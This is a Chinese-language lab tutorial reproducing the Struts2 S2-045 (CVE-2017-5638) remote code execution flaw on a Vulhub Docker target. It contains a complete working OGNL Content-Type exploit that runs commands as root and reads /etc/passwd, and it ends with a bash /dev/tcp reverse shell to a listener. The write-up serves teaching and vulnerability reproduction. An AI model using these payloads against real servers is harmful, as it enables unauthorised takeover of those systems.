Struts2_S2-045漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-5638)
目录
一、Struts2_S2-045漏洞
1、漏洞简介
2、漏洞原理
(1)漏洞根源
(2)触发机制
(3)危害与利用
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
2、下载 Vulhub
3、进入漏洞环境
4、启动漏洞环境
5、查看环境状态
三、渗透实战
1、访问环境
2、探测漏洞
3、PoC执行id命令
4、PoC执行whoami命令
5、PoC执行ls命令
6、PoC执行cat /etc/passwd命令
四、反弹shell实战
1、攻击机监听
2、目标机建立连接
① 原始命令
② 攻击目标机
3、反弹shell成功
本文通过vulhub靶场的Struts2_S2-045关卡讲解Struts2_S2-045漏洞原理(CVE-2017-5638)、渗透环境搭建与渗透全流程(包括命令执行、反弹shell)。
一、Struts2_S2-045漏洞
1、漏洞简介
Struts2 S2-045漏洞(CVE-2017-5638)是一个危害极大的远程代码执行漏洞。其核心成因在于框架使用Jakarta解析器处理文件上传请求时,对异常处理不当:当攻击者恶意构造包含OGNL表达式的Content-Type头触发解析错误后,系统在生成国际化错误消息时会直接执行该表达式。由于OGNL安全机制可被绕过(如清空黑名单),导致攻击者能够完全控制服务器执行任意命令,无需任何身份验证,对受影响版本(2.3.5-2.3.31, 2.5-2.5.10)构成严重威胁。
-
漏洞编号: CVE-2017-5638(注意:S2-045 和著名的 S2-046 是同一个CVE编号)
-
漏洞名称: Struts2 S2-045
-
漏洞类型: 远程代码执行 (RCE)
-
威胁等级: 严重 (Critical)
-
影响版本: Struts 2.3.5 - 2.3.31, Struts 2.5 - 2.5.10
-
漏洞原因: 基于Jakarta流解析器处理文件上传请求时,对错误消息中的恶意数据进行了不安全的OGNL表达式解析。
2、漏洞原理
(1)漏洞根源
漏洞源于 Struts2 框架在处理文件上传请求时,对Content-Type
请求头的解析存在安全缺陷。当应用使用Jakarta Multipart parser
(默认的文件上传解析器)时,框架会解析Content-Type
头信息,而解析过程中未对用户输入进行严格过滤,导致攻击者可以注入恶意 OGNL 表达式。
(2)触发机制
- 在文件上传场景中,
Content-Type
头通常用于指定上传数据的类型(如multipart/form-data; boundary=xxx
)。Struts2 框架在解析该头部时,会将其值传递给内部处理逻辑,而该逻辑存在对 OGNL 表达式的解析行为。 - 攻击者可构造特殊的
Content-Type
值,在其中嵌入%{...}
包裹的恶意 OGNL 表达式(例如Content-Type: %{1+1}
)。当框架解析该头部时,会误将表达式当作合法代码执行,从而触发漏洞。
(3)危害与利用
由于 OGNL 表达式可直接操作 Java 对象和系统资源,攻击者通过构造特定表达式可实现:
- 执行任意系统命令(如查看文件、创建后门、控制服务器等);
- 读取 / 修改服务器敏感文件;
- 操控应用内存数据等。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
cd struts2
cd s2-045
4、启动漏洞环境
在struts/S2-045目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含struts2:s2-045 2.3.30(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器7df1b8fb38a8属于 Vulhub 搭建的s2-045漏洞复现环境。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7df1b8fb38a8 vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" 19 minutes ago Up 19 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp s2-045_struts2_1
通过运行结果可知基于 Vulhub 项目的、专门用于复现和测试 Struts2 S2-045 远程代码执行漏洞(CVE-2017-5638)的环境正在运行。
-
7df1b8fb38a8:这是 Docker 容器的唯一标识符(容器 ID 的前 12 位简写),用于在 Docker 命令中指定和操作该容器。
-
vulhub/struts2:2.3.30:表示容器所基于的镜像信息
vulhub/struts2
是镜像名称,说明这是 Vulhub 项目提供的 Struts2 漏洞环境镜像2.3.30
是镜像标签,指定了使用的 Struts2 版本为 2.3.30(该版本存在包括 S2-045 在内的多个已知漏洞)
-
"/usr/local/bin/mvn-…":容器启动时执行的命令(显示被截断,完整命令可能是 Maven 相关的启动命令,如
mvn tomcat:run
等),用于启动包含漏洞的 Struts2 应用服务。 -
19 minutes ago:容器的创建时间,即 19 分钟前创建了该容器。
-
Up 19 minutes:容器的运行状态,表示该容器已正常运行 19 分钟。
-
0.0.0.0:8080->8080/tcp, :::8080->8080/tcp:端口映射配置,将容器内部的 8080 端口映射到宿主机的 8080 端口,意味着可以通过宿主机的 8080 端口访问容器内运行的 Struts2 应用。
-
s2-045_struts2_1:容器的名称,明确标识这是用于复现 S2-045 漏洞的 Struts2 容器实例。
三、渗透实战
1、访问环境
Docker启动完成后,访问 http://[靶机IP地址]:8080/
HelloWorld.action来查看环境是否搭建成功。以本机为例,ip地址为192.168.59.128,端口号为8080,如下所示说明环境启动成功。 。
http://192.168.59.128:8080/HelloWorld.action
点击submit上传,burpsuite抓包,如下所示,红框对应的filename的内容就是我们要修改的部分,为便于修改,右键将报文发送到repeater。
2、PoC执行id命令
将content-type内容替换为如下PoC,命令为cmd=’id’,点击发送。
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
输出结果 uid=0(root) gid=0(root) groups=0(root)
4、PoC执行whoami命令
同理,将poc中需要执行的代码cmd=’ls’换成cmd=’whoami’,将content-type内容替换为如下PoC并点击发送,如下所示输出结果为root。
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
5、PoC执行ls命令
同理,将poc中需要执行的代码cmd=’whoami’换成cmd=’ls’,将content-type内容替换为如下PoC并点击发送。
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
如下所示,根据burpsuite的返回结果可知ls命令的输出结果如下所示。
Dockerfile
pom.xml
src
target
6、PoC执行cat /etc/passwd命令
同理,将poc中需要执行的代码cmd=’ls’换成cmd=’cat /etc/passwd’。将content-type内容替换为如下PoC并点击发送。
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
输出结果如下所示,成功获取到了/etc/passwd的命令。
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
四、反弹shell实战
1、攻击机监听
计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。
nc -lvvp 6666
-
nc
: 网络瑞士军刀工具(Netcat),用于处理网络连接。 -
-l
: 监听(Listen) 模式,等待别人来连接。 -
-v
: 显示详细信息(Verbose),让你能看到谁连接上了。 -
-p 6666
: 在 6666 端口(Port) 上进行监听。
2、目标机建立连接
在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。
① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
-
bash -i
: 启动一个交互式的(interactive)Bash shell。 -
>& /dev/tcp/192.168.59.128/6666
:-
>/dev/tcp/192.168.59.128/6666
: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为192.168.59.128
的机器的6666
端口。 -
>&
: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。
-
-
0>&1
: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)
整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128
的机器的 6666
端口,并建立一个远程控制会话。具体如下所示。
-
执行这条命令的服务器(靶机)会主动去连接
192.168.59.128:6666
。 -
连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。
-
在
192.168.59.128
这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。
② 攻击目标机
根据上一步的webshell反弹的命令,构造如下PoC并替换content-type并发送。
${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.59.128/6666 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
这个命令可以在docker中执行执行并与kali建立连接,如下图左下角红框所示的waiting可知请求一直处于连接中状态。
3、反弹shell成功
此时查看kali攻击机的监听,已经成功连接,输入whoami、ip addr返回正确结果,渗透成功。